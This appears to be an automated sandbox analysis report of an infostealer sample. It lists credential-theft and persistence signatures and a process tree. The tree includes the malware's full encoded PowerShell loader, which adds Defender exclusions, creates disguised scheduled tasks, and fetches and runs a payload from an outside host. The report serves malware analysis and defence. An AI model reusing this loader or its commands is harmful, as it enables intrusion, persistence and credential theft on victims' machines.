Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    17/04/2026, 03:55

General

  • Target
    2026-04-17_8f0f17aef77dd93d20a2418b74c5089e_akira_glassworm_rusty-stealer.exe
  • Size 2.5MB
  • Sample260417-eg85eahy2z
  • SHA256 ae9f288f9b4c83f8d4c57d1de5e597d1191e0785842a03685ce35c4a9a3b5bff
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-17_8f0f17aef77dd93d20a2418b74c5089e_akira_glassworm_rusty-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-17_8f0f17aef77dd93d20a2418b74c5089e_akira_glassworm_rusty-stealer.exe"
    1⤵
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5048
    • C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3164
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AZQB3AHcAbwByAGwAZAAtAGgAZQBsAGwAbwB3AG8AcgBsAGQALgBpAGMAdQA6ADQANAAzACcALAAkAGIAbwBkAHkAKQA7ACQAcgBpAHYAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMAAuAC4AMQA1AF0AOwAkAGUAbgBjAD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADEANgAuAC4AKAAkAGQAYQB0AGEALgBMAGUAbgBnAHQAaAAtADEAKQBdADsAJABhAGUAcwAuAEkAVgA9ACQAcgBpAHYAOwAkAGQAZQBjAD0AJABhAGUAcwAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGUAbgBjACwAMAAsACQAZQBuAGMALgBMAGUAbgBnAHQAaAApADsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAsACQAZABlAGMAKQA7AEMAbwBwAHkALQBJAHQAZQBtACAAKAAkAHAAMQAgACsAIAAoACcAXABzACcAKwAnAHYAYwBoAG8AJwArACcAcwAnACsAJwB0AC4AZQAnACsAJwB4ACcAKwAnAGUAJwApACkAIAAiACQAcAAyAHQAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAC4AZQB4AGUAIgAgAC0ARgBvAHIAYwBlADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AA==
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:392
        • C:\Windows\system32\attrib.exe
          "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
          4⤵
          • Views/modifies file attributes
          PID:4872
        • C:\Windows\system32\attrib.exe
          "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
          4⤵
          • Views/modifies file attributes
          PID:1956
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
          4⤵
            PID:3148
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
            4⤵
              PID:408
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
              4⤵
                PID:648
              • C:\Windows\system32\gpupdate.exe
                "C:\Windows\system32\gpupdate.exe" /force /target:computer
                4⤵
                  PID:3896
                • C:\Windows\system32\schtasks.exe
                  "C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f
                  4⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2012
                • C:\Windows\system32\schtasks.exe
                  "C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f
                  4⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:220
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4416
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:2160
          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
            1⤵
              PID:3972
            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
              1⤵
                PID:4000

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    __PSScriptPolicyTest_flie1era.tnv.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_flie1era.tnv.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    memory/392-9-0x000001EB61820000-0x000001EB61842000-memory.dmp

                    memory/392-10-0x000001EB61040000-0x000001EB6177F000-memory.dmp

                    memory/392-20-0x000001EB61040000-0x000001EB6177F000-memory.dmp